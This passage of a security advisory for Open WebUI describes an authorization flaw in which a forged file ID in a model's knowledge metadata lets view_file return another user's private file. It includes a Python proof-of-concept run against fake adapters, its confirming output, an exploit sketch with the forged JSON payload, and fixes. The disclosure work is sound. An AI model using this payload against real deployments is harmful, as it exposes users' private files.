Advisory

PYSEC-2026-2761

Details, part 2 of 3. The advisory

Details

data={"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET"},
created_at=1,
updated_at=2,
)
return None

async def fake_has_access_to_file(file_id, access_type, user, db=None):
return False

class FakeUserModel:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)

fake_files = FakeFiles()
fake_files_module = types.SimpleNamespace(Files=fake_files)
fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)

original_files_module = sys.modules.get("open_webui.models.files")
original_acl_module = sys.modules.get("open_webui.utils.access_control.files")

try:
sys.modules["open_webui.models.files"] = fake_files_module
sys.modules["open_webui.utils.access_control.files"] = fake_file_acl_module

source = BUILTIN_TOOLS.read_text(encoding="utf-8")
tree = ast.parse(source, filename=str(BUILTIN_TOOLS))
selected = [
node
for node in tree.body
if isinstance(node, ast.AsyncFunctionDef) and node.name == "view_file"
]
if len(selected) != 1:
raise RuntimeError("could not find view_file")
module = ast.Module(body=selected, type_ignores=[])
ast.fix_missing_locations(module)
ns = {
"json": json,
"Optional": __import__("typing").Optional,
"Request": object,
"UserModel": FakeUserModel,
"log": SimpleNamespace(exception=lambda *args, **kwargs: None),
"MAX_VIEW_FILE_CHARS": 100_000,
"DEFAULT_VIEW_FILE_MAX_CHARS": 10_000,
}
exec(compile(module, str(BUILTIN_TOOLS), "exec"), ns)
view_file = ns["view_file"]

denied_without_model_knowledge = await view_file(
victim_file_id,
__request__=SimpleNamespace(),
__user__={"id": "attacker", "role": "user", "name": "attacker", "email": "[email protected]"},
__model_knowledge__=[],
)
allowed_with_model_knowledge = await view_file(
victim_file_id,
__request__=SimpleNamespace(),
__user__={"id": "attacker", "role": "user", "name": "attacker", "email": "[email protected]"},
__model_knowledge__=[{"id": victim_file_id, "type": "file"}],
)
finally:
if original_files_module is not None:
sys.modules["open_webui.models.files"] = original_files_module
else:
sys.modules.pop("open_webui.models.files", None)
if original_acl_module is not None:
sys.modules["open_webui.utils.access_control.files"] = original_acl_module
else:
sys.modules.pop("open_webui.utils.access_control.files", None)

denied = json.loads(denied_without_model_knowledge)
allowed = json.loads(allowed_with_model_knowledge)
return {
"file_ids_looked_up": fake_files.looked_up_ids,
"without_model_knowledge": denied,
"with_forged_model_knowledge": allowed,
"private_content_disclosed": allowed.get("content") == "PRIVATE_MODEL_KNOWLEDGE_SECRET",
}

async def main() -> None:
prepare_imports()
victim_file_id = "victim-private-file"

insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)
tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)

result = {
"confirmed": (
insert_sink["insert_returned_model"] is True
and insert_sink["stored_user_ids"] == ["attacker"]
and insert_sink["stored_knowledge_file_ids"] == [victim_file_id]
and tool_read["without_model_knowledge"].get("error") == "File not found"
and tool_read["private_content_disclosed"] is True
),
"attacker_user_id": "attacker",
"victim_user_id": "victim",
"victim_file_id": victim_file_id,
"attacker_owns_file": False,
"model_insert_sink": insert_sink,
"tool_read": tool_read,
"source": {
"insert_sink": "backend/open_webui/models/models.py:Models.insert_new_model",
"tool_injection": "backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__",
"read_sink": "backend/open_webui/tools/builtin.py:view_file",
},
}
print(json.dumps(result, indent=2, sort_keys=True))
if not result["confirmed"]:
raise SystemExit(1)

if __name__ == "__main__":
asyncio.run(main())


The PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.

Result:

```json
{
  "attacker_owns_file": false,
  "attacker_user_id": "attacker",
  "confirmed": true,
  "model_insert_sink": {
    "db_commit_called": true,
    "insert_returned_model": true,
    "stored_knowledge_file_ids": [
      "victim-private-file"
    ],
    "stored_model_ids": [
      "attacker-model"
    ],
    "stored_user_ids": [
      "attacker"
    ]
  },
  "tool_read": {
    "private_content_disclosed": true,
    "with_forged_model_knowledge": {
      "content": "PRIVATE_MODEL_KNOWLEDGE_SECRET",
      "filename": "victim-private.txt",
      "id": "victim-private-file"
    },
    "without_model_knowledge": {
      "error": "File not found"
    }
  },
  "victim_file_id": "victim-private-file",
  "victim_user_id": "victim"
}

Exploit Sketch

  1. Attacker has permission to create or update workspace models.
  2. Attacker creates a model with:
{
  "meta": {
    "knowledge": [
      {
        "id": "VICTIM_FILE_ID",
        "type": "file",
        "name": "victim-private.txt"
      }
    ],
    "builtinTools": {
      "knowledge": true
    }
  }
}
  1. Attacker chats with that model using native/built-in tools and invokes view_file for VICTIM_FILE_ID.
  2. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.

Recommended Fix

Validate meta.knowledge on every model write path: create, update, and import. For entries with type == "file", require direct ownership, admin role, or has_access_to_file(file_id, 'read', user, db=db) before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as 403, not 500.

Do not let view_file() treat __model_knowledge__ as an authorization bypass; it should still enforce ownership/admin/has_access_to_file() per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same model meta.knowledge file-ID laundering flaw:

Sources & licences